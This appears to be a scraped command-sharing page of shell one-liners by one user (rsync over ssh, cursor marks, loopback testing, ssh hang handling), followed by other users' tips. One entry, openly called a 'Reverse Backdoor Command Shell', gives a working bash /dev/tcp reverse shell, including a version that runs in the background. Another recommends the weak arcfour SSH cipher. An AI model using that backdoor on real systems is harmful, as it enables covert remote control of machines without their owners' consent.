Commands by somaddict (5)

  • The fastest remote directory rsync over ssh archival I can muster (40MB/s over 1gb NICs)

    This creates an archive that does the following: rsync:: (Everyone seems to like -z, but it is much slower for me) -a: archive mode - rescursive, preserves owner, preserves permissions, preserves modification times, preserves group, copies symlinks as symlinks, preserves device files. -H: preserves hard-links -A: preserves ACLs -X: preserves extended attributes -x: don't cross file-system boundaries -v: increase verbosity --numeric-ds: don't map uid/gid values by user/group name --delete: delete extraneous files from dest dirs (differential clean-up during sync) --progress: show progress during transfer ssh:: -T: turn off pseudo-tty to decrease cpu load on destination. -c arcfour: use the weakest but fastest SSH encryption. Must specify "Ciphers arcfour" in sshd_config on destination. -o Compression=no: Turn off SSH compression. -x: turn off X forwarding if it is on by default. Flip: rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x" [source_dir] [dest_host:/dest_dir]


    12
    rsync -aHAXxv --numeric-ids --delete --progress -e "ssh -T -c arcfour -o Compression=no -x" user@<source>:<source_dir> <dest_dir>
    somaddict · 2012-12-26 13:46:23 8
  • Quickly move the cursor to different parts of the command line based on a mark.

    Use 'ctrl-@' to set a mark. See the first comment for a better explanation.


    2
    ctrl-x ctrl-x
    somaddict · 2012-11-16 03:49:26 15
  • Test against loopback address with the 0.0.0.0 default route.

    Super fast way to ftp/telnet/netcat/ssh/ping your loopback address for testing. The default route 0.0.0.0 is simply reduced to 0. Show Sample Output


    0
    telnet 0 <port>
    somaddict · 2012-11-16 03:38:49 5
  • Reverse Backdoor Command Shell using Netcat

    This is sneaky. First, start a listening service on your box. nc -l 8080 -vvv & On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor. exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done You can send it to the background like this: (exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) & Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client. Show Sample Output


    9
    exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
    somaddict · 2012-11-16 02:48:01 10
  • avoid ssh hangs using jobs

    Cleaned up and silent with &>/dev/null at the end. Show Sample Output


    0
    for host in $HOSTNAMES; do ping -q -c3 $host && ssh $host 'command' & for count in {1..15}; do sleep 1; jobs | wc -l | grep -q ^0\$ && continue; done; kill %1; done &>/dev/null
    somaddict · 2012-11-16 02:31:27 5

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Get line number 12 (or n) from a file
Extracts only file number 12 from file. It's meant for text files. Replace 12 with the number you want. First line starts at 1 not 0. We use q on next line so doesn't process any line more.

Never rewrites a file while copying (or moving)
Allows you to preserve your files when using cp, mv, ln, install or patch. When the target file exists, it will generate a file named XXX.~N~ (N is an auto-incremental number) instead of deleting the target file.

Quick and dirty RSS
runs an rss feed through sed replacing the closing tags with newlines and the opening tags with white space making it readable.

ROT13 whole file in vim.
gg puts the cursor at the begin g? ROT13 until the next mov G the EOF

Another Curl your IP command
Just another curl command to get your public facing IP

underscore to camelCase

Kills a process that is locking a file.
Useful when you're trying to unmount a volume and other sticky situations where a rogue process is annoying the hell out of you.

Buffer in order to avoir mistakes with redirections that empty your files
A common mistake in Bash is to write command-line where there's command a reading a file and whose result is redirected to that file. It can be easily avoided because of : 1) warnings "-bash: file.txt: cannot overwrite existing file" 2) options (often "-i") that let the command directly modify the file but I like to have that small function that does the trick by waiting for the first command to end before trying to write into the file. Lots of things could probably done in a better way, if you know one...

See how many more processes are allowed, awesome!
There is a limit to how many processes you can run at the same time for each user, especially with web hosts. If the maximum # of processes for your user is 200, then the following sets OPTIMUM_P to 100. $ OPTIMUM_P=$(( (`ulimit -u` - `find /proc -maxdepth 1 \( -user $USER -o -group $GROUPNAME \) -type d|wc -l`) / 2 )) This is very useful in scripts because this is such a fast low-resource-intensive (compared to ps, who, lsof, etc) way to determine how many processes are currently running for whichever user. The number of currently running processes is subtracted from the high limit setup for the account (see limits.conf, pam, initscript). An easy to understand example- this searches the current directory for shell scripts, and runs up to 100 'file' commands at the same time, greatly speeding up the command. $ find . -type f | xargs -P $OPTIMUM_P -iFNAME file FNAME | sed -n '/shell script text/p' I am using it in my http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html especially for the xargs command. Xargs has a -P option that lets you specify how many processes to run at the same time. For instance if you have 1000 urls in a text file and wanted to download all of them fast with curl, you could download 100 at a time (check ps output on a separate [pt]ty for proof) like this: $ cat url-list.txt | xargs -I '{}' -P $OPTIMUM_P curl -O '{}' I like to do things as fast as possible on my servers. I have several types of servers and hosting environments, some with very restrictive jail shells with 20processes limit, some with 200, some with 8000, so for the jailed shells my xargs -P10 would kill my shell or dump core. Using the above I can set the -P value dynamically, so xargs always works, like this. $ cat url-list.txt | xargs -I '{}' -P $OPTIMUM_P curl -O '{}' If you were building a process-killer (very common for cheap hosting) this would also be handy. Note that if you are only allowed 20 or so processes, you should just use -P1 with xargs.

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